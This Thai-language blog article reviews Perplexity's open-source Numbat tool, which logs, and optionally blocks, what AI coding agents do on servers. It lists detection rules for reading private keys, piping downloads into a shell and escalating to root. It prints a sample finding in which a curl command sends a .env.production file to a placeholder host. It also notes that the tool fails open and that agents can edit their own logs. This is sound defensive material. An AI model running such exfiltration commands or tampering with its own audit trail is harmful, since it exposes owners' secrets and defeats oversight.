SSD Nodes Learn 🎉 VPS เริ่ม $4.99/เดือน
คู่มือ Matt Connorโดย Matt Connor

Numbat เฝ้าดู AI agent ทำอะไรบนเซิร์ฟเวอร์

Perplexity เปิดซอร์ส Numbat เครื่องมือตรวจสอบ endpoint ที่บันทึกสิ่งที่ AI coding agent ทำบนเซิร์ฟเวอร์ พร้อมดูได้ว่าตรวจพบอะไรและหยุดอะไรไม่ได้

Numbat คืออะไร

Numbat ช่วยให้คุณเห็นว่า AI agent ทำอะไรบนเครื่องที่คุณเป็นเจ้าของ โดยอ่าน hook callbacks และ session files ที่ coding agents สร้างไว้แล้ว จากนั้นปรับให้อยู่ในรูปแบบ event เดียวกัน และตรวจสอบกับ rules ที่ทำงานเมื่อพบพฤติกรรม เช่น การอ่าน SSH private key หรือส่ง download ต่อเข้า shell โดยตรง Perplexity เผยแพร่ Numbat เป็น open source ภายใต้ Apache 2.0 และเผยแพร่ release แรกที่มี tag เมื่อ 29 July 2026

เนื้อหาทั้งหมดด้านล่างมาจาก repository ของโครงการและ documentation ของโครงการเอง ซึ่งอ่านเมื่อ 2 August 2026 เมื่อ Perplexity เป็นผู้กล่าวอ้าง บทความนี้จะระบุไว้ตามนั้น เนื้อหานี้ไม่ใช่ install tutorial เนื่องจาก repository ยังมีอายุเพียงไม่กี่วัน และ commands ของโครงการอาจเปลี่ยนแปลงได้

ปัญหา: ไม่มีใครบันทึกสิ่งที่เอเจนต์ดำเนินการ

เอเจนต์เขียนโค้ดบน VPS ของคุณเรียกใช้คำสั่ง shell อ่านไฟล์ เขียนไฟล์ และเปิดการเชื่อมต่อเครือข่าย โดยดำเนินการทั้งหมดในฐานะผู้ใช้ที่คุณมอบให้ ประวัติ shell ของคุณจะไม่บันทึกการดำเนินการเหล่านี้ เนื่องจากเอเจนต์ไม่ได้พิมพ์คำสั่งลงใน shell ของคุณ sshd บันทึกเฉพาะการเข้าสู่ระบบของคุณ และไม่บันทึกสิ่งที่โมเดลตัดสินใจดำเนินการหลังจากนั้น /var/log/auth.log จะไม่มีข้อมูลจนกว่าจะมีการเรียกใช้ sudo เอเจนต์เก็บบันทึกการทำงานของตนเองไว้ แต่ไฟล์ดังกล่าวอยู่ในไดเรกทอรีเซสชันของเอเจนต์ รูปแบบไฟล์เปลี่ยนแปลงระหว่างรุ่น และโปรเซสของเอเจนต์เองสามารถเขียนไฟล์นี้ได้

ดังนั้น เมื่อมีผู้ถามว่าเอเจนต์อ่าน .env.production เมื่อวันอังคารที่แล้วหรือไม่ คำตอบที่ตรงไปตรงมาบนเซิร์ฟเวอร์ส่วนใหญ่คือ คุณไม่สามารถตรวจสอบได้ ช่องว่างดังกล่าวคือเหตุผลที่โครงการนี้เกิดขึ้น

สิ่งที่ Perplexity ระบุว่า Numbat ทำได้

README เริ่มต้นด้วยการอธิบายเครื่องมือนี้ว่าเป็น “การมองเห็นกิจกรรมของเอเจนต์ AI ที่ปลายทาง พร้อมการตรวจจับภายในเครื่อง การบล็อกก่อนการดำเนินการที่เลือกเปิดใช้ได้ และการสร้างเหตุการณ์ย้อนหลังเชิงนิติวิทยาศาสตร์” ในที่นี้ ปลายทางหมายถึงเครื่องที่เอเจนต์ทำงานอยู่ ไม่ใช่อุปกรณ์เครือข่ายที่ตรวจสอบจากภายนอก ความสามารถเหล่านี้แยกจากกัน และมีน้ำหนักแตกต่างกัน

การตรวจจับทำงานบนอุปกรณ์ กฎเขียนด้วย CEL (ภาษานิพจน์ทั่วไป) และประเมินผลภายในเครื่อง โดยมีการเพิ่มกฎลำดับเหตุการณ์หลายขั้นตอน และรองรับกฎที่คุณเขียนเองใน YAML การทำงานของกฎไม่จำเป็นต้องส่งข้อมูลออกจากเครื่อง

การบล็อกเป็นความสามารถเสริมและมีขอบเขตจำกัด โดยทำงานได้เฉพาะผ่านฮุกก่อนการดำเนินการแบบ synchronous และเฉพาะกับเอเจนต์ที่เปิดเผยฮุกดังกล่าว ความสามารถนี้จะปิดอยู่จนกว่าคุณจะเปิดใช้

การสร้างเหตุการณ์ย้อนหลังเกิดขึ้นภายหลัง numbat scan จะวิเคราะห์อาร์ติแฟกต์ของเซสชันที่เอเจนต์เขียนไว้ในดิสก์แล้ว จึงสามารถตรวจสอบกิจกรรมที่เกิดขึ้นก่อนติดตั้งเครื่องมือนี้ได้ โครงการระบุขอบเขตของความสามารถนี้ไว้อย่างชัดเจนว่า “การสร้างเหตุการณ์ย้อนหลังจากข้อมูลที่จัดเก็บอยู่ไม่ใช่การเก็บข้อมูลจากดิสก์หรือหน่วยความจำ และไม่สามารถกู้คืนกิจกรรมที่เอเจนต์ไม่ได้บันทึกไว้ได้”

เอาต์พุตเป็น NDJSON แบบมีเวอร์ชัน (JSON ที่คั่นด้วยบรรทัดใหม่) ซึ่งครอบคลุมเหตุการณ์ ผลการตรวจพบ การตัดสินใจด้านการบังคับใช้ ตัวบ่งชี้ และสรุปการสแกน โดยใช้ schema version 0.2.0 ณ v0.1.2 ระเบียนจะส่งไปยัง stdout หรือไฟล์ภายในเครื่อง และเลือกส่งผ่าน HTTP ไปยัง collector ที่คุณเรียกใช้เองได้ เครื่องมือนี้เผยแพร่เป็นไบนารี Go แบบ static ไฟล์เดียวที่สร้างโดยไม่ใช้ cgo รองรับ macOS, Linux และ Windows บน amd64 และ arm64 ดังนั้นบน Linux VPS จึงมีเพียงไฟล์เดียวและไม่ต้องติดตั้ง runtime ก่อน

ตัวแทนใดที่ Numbat มองเห็นได้จริง

เมทริกซ์ความครอบคลุมใน docs/agent-coverage.md เป็นรายการอ้างอิงหลัก และมีความครอบคลุมไม่เท่ากัน โครงการระบุเรื่องนี้ไว้อย่างชัดเจน ไม่ได้ปิดบังไว้ Claude Code, Codex, Gemini CLI, Cursor และ GitHub Copilot CLI รองรับทั้งการสแกน artifact และการดักจับแบบเรียลไทม์ด้วย pre-action hook ส่วน OpenClaw ได้รับ native plugin ตั้งแต่เวอร์ชัน 2026.7.1 เป็นต้นไป รายการอีกจำนวนมากถูกระบุเป็น deferred ซึ่งหมายความว่ามีเส้นทาง live hook แต่ยังไม่มีตัวแยกวิเคราะห์ artifact โดยมักเกิดจาก agent เหล่านั้นจัดเก็บประวัติใน SQLite พร้อม write-ahead log ที่ไม่ปลอดภัยต่อการอ่านขณะที่ agent กำลังทำงาน เมื่ออ่านเมทริกซ์ในวันที่ 2 August 2026 OpenCode และ Cline อยู่ในกลุ่มดังกล่าว

ตรวจสอบแถวของ agent ที่คุณใช้ก่อนวางแผนใช้งานเครื่องมือนี้ เนื่องจากคำว่า "รองรับ" มีความหมายแตกต่างกันเกือบทุกแถว

ลักษณะของการตรวจพบ

กฎจะมีรหัสที่ระบุว่ากฎนั้นใช้ทำอะไร secrets.read_private_key ครอบคลุม SSH key, AWS credentials, kube config หรือการเข้าสู่ระบบ package registry exec.download_pipe_shell ทำงานเมื่อเอาผลลัพธ์จาก curl หรือ wget ไป pipe เข้า interpreter privilege.elevated_shell ตรวจจับคำขอ shell แบบโต้ตอบในสิทธิ์ root ผ่าน sudo, doas, su หรือ pkexec impact.cryptomining_launch ตรวจจับชื่อไบนารีของ miner และชื่อ image ที่รู้จัก

กฎลำดับจะเชื่อมเหตุการณ์ภายใน session เดียวกัน chain.secret_read_then_egress ต้องพบการอ่านไฟล์ลับ ตามด้วยคำสั่งที่ส่งข้อมูลออกไป README แสดงผลการตรวจพบด้านล่างจากการ replay แบบควบคุมของ callback ก่อนการทำงาน 2 รายการจาก Claude Code ไม่ใช่จากเหตุการณ์ที่กำลังเกิดขึ้นจริง ส่วนนี้ตัดทอนให้เหลือเฉพาะฟิลด์ที่สำคัญ:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

สังเกต "confidence": "medium" ที่อยู่ภายในระเบียน และสังเกตคำอธิบายของโครงการเกี่ยวกับผลลัพธ์ทั้งประเภทนี้: "ผลการตรวจพบเป็นการตรงกับกฎ ไม่ใช่หลักฐานว่าเซิร์ฟเวอร์ถูกเจาะระบบ" สคริปต์ deploy ที่อ่าน key แล้วอัปโหลด build artifact จะตรงกับกฎลำดับเดียวกันนี้ การตรงกับกฎถูกต้อง แต่การแจ้งเตือนผิดพลาด ซึ่งเป็นสภาวะปกติของเครื่องมือตรวจจับทุกชนิดที่คุณเคยใช้งาน

การบล็อกปิดใช้งานเป็นค่าเริ่มต้น และระบบจะอนุญาตเมื่อเกิดข้อผิดพลาด

กฎทุกข้อที่ Numbat เผยแพร่มีสถานะเป็นการตรวจสอบเท่านั้น การเปลี่ยนกฎให้บล็อกเป็นงานที่ต้องดำเนินการโดยเจตนา ให้คัดลอก YAML ทั้งหมดของกฎไปยังไดเรกทอรีของคุณเอง ใช้ id เดิม เพิ่ม enforce: true เพิ่มหมายเลขเวอร์ชัน จากนั้นตรวจสอบความถูกต้องและติดตั้งนโยบายดังกล่าว

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ต่อไปคือส่วนที่กำหนดว่าควรเชื่อถือระบบนี้มากเพียงใด deny ของ Numbat เป็นการตอบกลับที่ส่งให้ agent และ agent คือส่วนที่ปฏิเสธการเรียกใช้เครื่องมือจริง คู่มือการบังคับใช้อธิบายไว้อย่างชัดเจนว่า เมื่อ Numbat เองเกิดปัญหาจะเกิดอะไรขึ้น: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." ข้อมูลนำเข้าของ hook จำกัดไว้ที่ 4 MiB และข้อมูลที่มีขนาดเกินกำหนดจะใช้เส้นทางเดียวกัน

คู่มือยังอธิบายอย่างชัดเจนถึงข้อจำกัดของ deny ที่ส่งถึงปลายทาง: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

ดังนั้น การบังคับใช้ในที่นี้จึงเป็นเพียงกลไกป้องกัน ไม่ใช่ขอบเขตการรักษาความปลอดภัย หาก process หยุดทำงาน การดำเนินการนั้นจะไม่ถูก Numbat บล็อก เนื่องจากไม่มีผู้ดูแลระบบรายใดจะเก็บ monitor ที่ทำให้ agent หยุดทำงานทุกครั้งที่ระบบมีปัญหาไว้ใช้งานนานเกิน 1 สัปดาห์ การแลกเปลี่ยนนี้สมเหตุสมผล แต่อย่าสร้างแบบจำลองความปลอดภัยที่ถือว่า deny จะมาถึงเสมอ

Numbat ทำงานร่วมกับสิ่งที่คุณใช้อยู่แล้วอย่างไร

Numbat ทำงานบนปลายทาง ภายในโครงสร้างกระบวนการของ agent เอง และเขียนข้อมูลไปยัง ~/.numbat/records.ndjson ตามค่าเริ่มต้น agent ที่ทำงานด้วยสิทธิ์ของผู้ใช้ของคุณสามารถอ่านไฟล์ดังกล่าวได้ และยังแก้ไขไฟล์ได้ด้วย บันทึกการตรวจสอบจะมีคุณค่าเท่ากับระดับการแยกส่วนที่ปกป้องบันทึกนั้นเท่านั้น ดังนั้นการควบคุมทุกอย่างที่คุณมีอยู่แล้วจึงต้องอยู่ก่อนการควบคุมนี้ ไม่ใช่อยู่ภายหลัง

การให้ coding agent ทำงานใน VM แบบใช้แล้วทิ้ง จะจำกัดขอบเขตสิ่งที่การทำงานที่ผิดพลาดสามารถเข้าถึงได้ ผู้ใช้ที่มีสิทธิ์น้อยที่สุดบน VPS จะป้องกันไม่ให้ agent เข้าถึงไฟล์ที่ไม่มีสิทธิ์เปิด การไม่นำข้อมูลรับรองมาไว้ในบริบทของ agent ทำให้เหตุการณ์ secrets.read_private_key เกิดขึ้นไม่บ่อยจนคุ้มค่าที่จะตรวจสอบเมื่อเกิดขึ้น และ sandbox ที่คุณตั้งค่าสำหรับ Claude Code บน VPS ยังคงเป็นส่วนที่ทำหน้าที่ควบคุมการเข้าถึง

สิ่งที่ Numbat เพิ่มเข้ามาคือบันทึก ดังนั้นให้ส่งบันทึกไปยังตำแหน่งที่ agent เข้าถึงไม่ได้ numbat ship และ HTTP sink มีไว้สำหรับงานนี้ การเก็บสำเนาสตรีมไว้บนเครื่องที่สองทำให้สิ่งนั้นแตกต่างจากไฟล์บันทึกทั่วไปและกลายเป็นหลักฐาน โมเดลเหตุการณ์ยังมีฟิลด์ MCP (model context protocol) ด้วย ดังนั้นการเรียกใช้เครื่องมือที่ออกผ่าน MCP server ที่คุณโฮสต์บน VPS จะถูกรวมอยู่ในสตรีมเดียวกับคำสั่ง shell ภายในเครื่อง ซึ่งสำคัญเพราะเส้นทางดังกล่าวจะมองไม่เห็นสำหรับสิ่งที่เฝ้าดูเฉพาะ bash

ทดลองใช้ในโหมดอ่านอย่างเดียวก่อน

ติดตั้งเวอร์ชันที่ระบุไว้ตายตัว ต้องใช้ Go 1.26.5 หรือใหม่กว่าสำหรับ go install และหน้า releases มีไบนารีที่สร้างไว้ล่วงหน้าพร้อม checksum SHA-256 หากไม่ต้องการ build จาก source

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents ค้นหา agents ที่ติดตั้งอยู่บนเครื่อง numbat scan แยกวิเคราะห์ session artifacts ที่มีอยู่บนดิสก์แล้วพิมพ์ records ออกมา README ระบุว่า commands เหล่านี้ “ไม่ติดตั้ง hooks และไม่เปลี่ยนแปลงการกำหนดค่า agent” และ numbat “ไม่เคย execute agents หรือ commands ที่พบใน artifacts และจะส่ง outbound requests เฉพาะไปยัง HTTP sinks ที่กำหนดค่าไว้เท่านั้น” การสแกนเป็นแบบอ่านอย่างเดียวและมีการปกปิด secrets ส่วนการแสดงผล records ตามปกติจะไม่รวม raw transcript ฉบับสมบูรณ์

ขั้นตอนถัดไปคือการเก็บข้อมูลแบบ live ซึ่งจะเปลี่ยนแปลงการกำหนดค่า agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all เขียน events, findings, indicators และ enforcement decisions ที่เกี่ยวข้องลงใน ~/.numbat/records.ndjson มีข้อควรระวัง 2 ประการจากโครงการโดยตรง ประการแรก อาจต้องกำหนดให้ hooks เป็น trusted ภายใน agent ก่อนจึงจะทำงานได้ และต้องตรวจสอบความน่าเชื่อถือดังกล่าวอีกครั้งหลังจากเปลี่ยน flags เช่น --enforce ประการที่สอง hook status “ตรวจสอบการกำหนดค่า ไม่ใช่การ execute หรือการส่งข้อมูล” ดังนั้น status line ที่แสดงว่าสถานะปกติจึงไม่ใช่หลักฐานว่า records ถูกส่งไปถึงปลายทางใด ๆแล้ว

เหตุใด repository ที่ใหม่ขนาดนี้จึงยังไม่ใช่ dependency

รุ่นที่เผยแพร่ต่อสาธารณะคือ v0.1.1 เมื่อวันที่ 29 July 2026 และ v0.1.2 เมื่อวันที่ 1 August 2026 repository มี 597 stars เมื่อเขียนโพสต์นี้ในวันที่ 2 August 2026 ตัวเลขที่เพิ่มขึ้นอย่างรวดเร็วเช่นนี้สะท้อนกลุ่มผู้ชมของ Perplexity ไม่ได้สะท้อนว่าโค้ดมีความเสถียรมากเพียงใด star หมายถึงมีผู้บันทึกหน้าเว็บไว้ดูภายหลัง

หมายเลขรุ่นบอกสถานะของโครงการนี้ได้ตรงไปตรงมา บันทึกของ v0.1.2 ส่วนใหญ่เป็นการแก้ไขการลบข้อมูล credential รวมถึงงานปรับ normalization ของ case bundle และ telemetry ข้อบกพร่องด้านการลบข้อมูลเป็นลักษณะปัญหาในระยะแรกที่คาดหมายได้สำหรับเครื่องมือซึ่งมีหน้าที่อ่าน transcript ของโปรแกรมอื่นอย่างปลอดภัย และจะมีข้อบกพร่องเพิ่มขึ้น เนื่องจากข้อมูลนำเข้ามาจาก agent จำนวนสิบสองตัว ซึ่งแต่ละตัวเปลี่ยนรูปแบบตามกำหนดเวลาของตนเอง

จึงมีกฎเชิงปฏิบัติ 2 ข้อ ให้ pin tag แทน @latest ในทุกสิ่งที่คุณเก็บไว้ และให้ถือว่าสิ่งนี้เป็นเครื่องมือที่คุณกำลังประเมิน ไม่ใช่ส่วนควบคุมที่ต้องพึ่งพา อย่างน้อยจนกว่า schema ของ record จะหยุดเปลี่ยนแปลง

FAQ

Numbat บล็อกคำสั่งของ AI agent ที่เป็นอันตรายหรือไม่

บล็อกได้เฉพาะเมื่อคุณเลือกเปิดใช้ และเป็นการดำเนินการตามความพยายามที่ดีที่สุดเท่านั้น กฎทุกข้อที่ Numbat เผยแพร่มาเป็นโหมด monitor เท่านั้น หากต้องการบล็อก ให้คัดลอก YAML ของกฎไปยังไดเรกทอรีของคุณเอง คงค่า id เดิมไว้ เพิ่ม enforce: true เพิ่มหมายเลขเวอร์ชัน และติดตั้ง hook ด้วย --enforce ถึงอย่างนั้น การปฏิเสธจะเป็นการตอบกลับที่ส่งไปยัง agent และ agent จะเป็นผู้ปฏิเสธการเรียกใช้เอง โครงการระบุพฤติกรรมแบบ fail-open ไว้ว่า payload ที่มีรูปแบบไม่ถูกต้อง ข้อผิดพลาดในการประเมิน การเกิด panic และข้อผิดพลาดของเอาต์พุต ล้วนทำให้ไม่ส่งผลการปฏิเสธ ใช้สิ่งนี้เป็นกลไกป้องกันเสริม ไม่ควรใช้เป็นขอบเขตควบคุมเพียงอย่างเดียว

Numbat รองรับ AI agent ใดบ้าง

ขอบเขตการรองรับแตกต่างกันไปในแต่ละ agent และระบุไว้ใน docs/agent-coverage.md ใน repository เมื่ออ่านหน้านั้นเมื่อ 2 August 2026 พบว่า Claude Code, Codex, Gemini CLI, Cursor และ GitHub Copilot CLI รองรับทั้งการสแกน artifact และการเก็บข้อมูลแบบ live capture และ OpenClaw มี plugin แบบ native ตั้งแต่ version 2026.7.1 เป็นต้นไป agent อื่นอีกหลายรายการมีเส้นทาง live hook แต่ยังไม่มีตัวแยกวิเคราะห์ artifact โดยทั่วไปเป็นเพราะประวัติเซสชันของ agent เก็บอยู่ในฐานข้อมูล SQLite ซึ่งไม่ปลอดภัยต่อการอ่านขณะที่ agent กำลังทำงาน โปรดอ่านแถวข้อมูลของ agent ที่คุณใช้ เพราะคำว่า "รองรับ" ในหน้านั้นครอบคลุมระดับการรองรับหลายรูปแบบ

agent สามารถแก้ไขบันทึกของ Numbat ได้หรือไม่

ได้ หาก agent ทำงานด้วย user เดียวกัน โดยค่าเริ่มต้น บันทึกจะถูกเก็บไว้ที่ ~/.numbat/records.ndjson บนเครื่องเดียวกับ agent ดังนั้นสิ่งใดก็ตามที่มีสิทธิ์เขียนไปยัง path ดังกล่าวสามารถแก้ไขหรือลบบันทึกได้ ให้ส่ง stream ไปยัง collector ที่ agent ไม่สามารถเข้าถึงได้ โดยใช้ numbat ship หรือ HTTP sink และเก็บไฟล์ภายในเครื่องไว้เป็นสำเนาเพื่อความสะดวก นี่เป็นเหตุผลอีกประการที่เครื่องมือนี้ใช้เสริม isolation แทนที่จะนำมาแทนที่ การจำกัด agent ให้อยู่ใน VM ที่ทิ้งได้และให้ทำงานภายใต้ user ที่มีสิทธิ์เท่าที่จำเป็น จะลดขอบเขตที่ agent เข้าถึง audit trail ของตนเองได้ลงอย่างมาก

Numbat พร้อมใช้งานบน production server หรือไม่

ยังไม่ควรใช้เป็นกลไกควบคุมที่คุณต้องพึ่งพา release สาธารณะครั้งแรกคือ v0.1.1 เมื่อ 29 July 2026 และ v0.1.2 ออกตามมาเมื่อ 1 August 2026 ดังนั้น flags และ schema ของบันทึกยังมีการเปลี่ยนแปลงอยู่ การรัน numbat agents และ numbat scan บนเครื่องเป็นการอ่านอย่างเดียวและมีความเสี่ยงต่ำ ทั้งยังช่วยให้ทราบว่า agent ของคุณทิ้งข้อมูลใดไว้บนดิสก์ การติดตั้ง enforcement hooks บน server ที่มีความสำคัญเป็นการตัดสินใจอีกระดับหนึ่ง และควรกำหนด tag แบบระบุแน่นอน รวมถึงมีแผนรองรับกรณีที่ hook ทำงานผิดพลาด